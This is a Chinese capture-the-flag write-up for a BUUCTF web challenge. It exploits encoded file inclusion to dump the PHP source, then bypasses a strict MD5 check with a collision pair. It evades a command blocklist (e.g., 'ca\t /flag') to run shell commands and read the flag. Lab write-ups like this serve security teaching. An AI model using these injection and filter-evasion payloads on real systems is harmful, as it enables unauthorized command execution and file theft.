查看URL,发现img参数后面应该是base64加密,尝试解码
http://0ec6d84a-930a-4d8a-8aeb-10862f2da5ee.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd
base64解密-》base64解密-》hex进制转换
MzUzNTM1MmU3MDZlNj 3535352e706e 555.pn
可以猜测img参数可能存在文件包含漏洞,将index.php进行加密
text转化为hex-》base64加密-》base64加密
696E6465782E706870
Njk2RTY0NjU3ODJFNzA2ODcw
TmprMlJUWTBOalUzT0RKRk56QTJPRGN3
输入加密后的URL,右键查看源代码将base64部分进行解码便可得到代码
http://0ec6d84a-930a-4d8a-8aeb-10862f2da5ee.node3.buuoj.cn/index.php?img=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3&cmd=
1 <?php 2 error_reporting(E_ALL || ~ E_NOTICE); 3 header(‘content-type:text/html;charset=utf-8‘); 4 $cmd = $_GET[‘cmd‘]; 5 if (!isset($_GET[‘img‘]) || !isset($_GET[‘cmd‘])) 6 header(‘Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=‘); 7 $file = hex2bin(base64_decode(base64_decode($_GET[‘img‘]))); 8 9 $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); 10 if (preg_match("/flag/i", $file)) { 11 echo ‘<img src ="./ctf3.jpeg">‘; 12 die("xixiï½? no flag"); 13 } else { 14 $txt = base64_encode(file_get_contents($file)); 15 echo "<img src=‘data:image/gif;base64," . $txt . "‘></img>"; 16 echo "<br>"; 17 } 18 echo $cmd; 19 echo "<br>"; 20 if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\‘|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { 21 echo("forbid ~"); 22 echo "<br>"; 23 } else { 24 if ((string)$_POST[‘a‘] !== (string)$_POST[‘b‘] && md5($_POST[‘a‘]) === md5($_POST[‘b‘])) { 25 echo `$cmd`; 26 } else { 27 echo ("md5 is funny ~"); 28 } 29 } 30 31 ?> 32 <html> 33 <style> 34 body{ 35 background:url(./bj.png) no-repeat center center; 36 background-size:cover; 37 background-attachment:fixed; 38 background-color:#CCCCCC; 39 } 40 </style> 41 <body> 42 </body> 43 </html>
代码第20行过滤了系统命令等关键字,但是没有过滤dir。代码第24行可以发现比较md5时,进行了强制类型转换。
MD5强类型的绕过
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
输入如下URL,执行dir命令
http://0ec6d84a-930a-4d8a-8aeb-10862f2da5ee.node3.buuoj.cn/index.php?img=&cmd=dir
右键查看源代码,发现flag并没有在当前目录下
根目录查找,发现flag文件
http://0ec6d84a-930a-4d8a-8aeb-10862f2da5ee.node3.buuoj.cn/index.php?img=&cmd=dir /
因为过滤了cat,但是可以通过\反斜杠进行绕过
http://0ec6d84a-930a-4d8a-8aeb-10862f2da5ee.node3.buuoj.cn/index.php?img=&cmd=ca\t /flag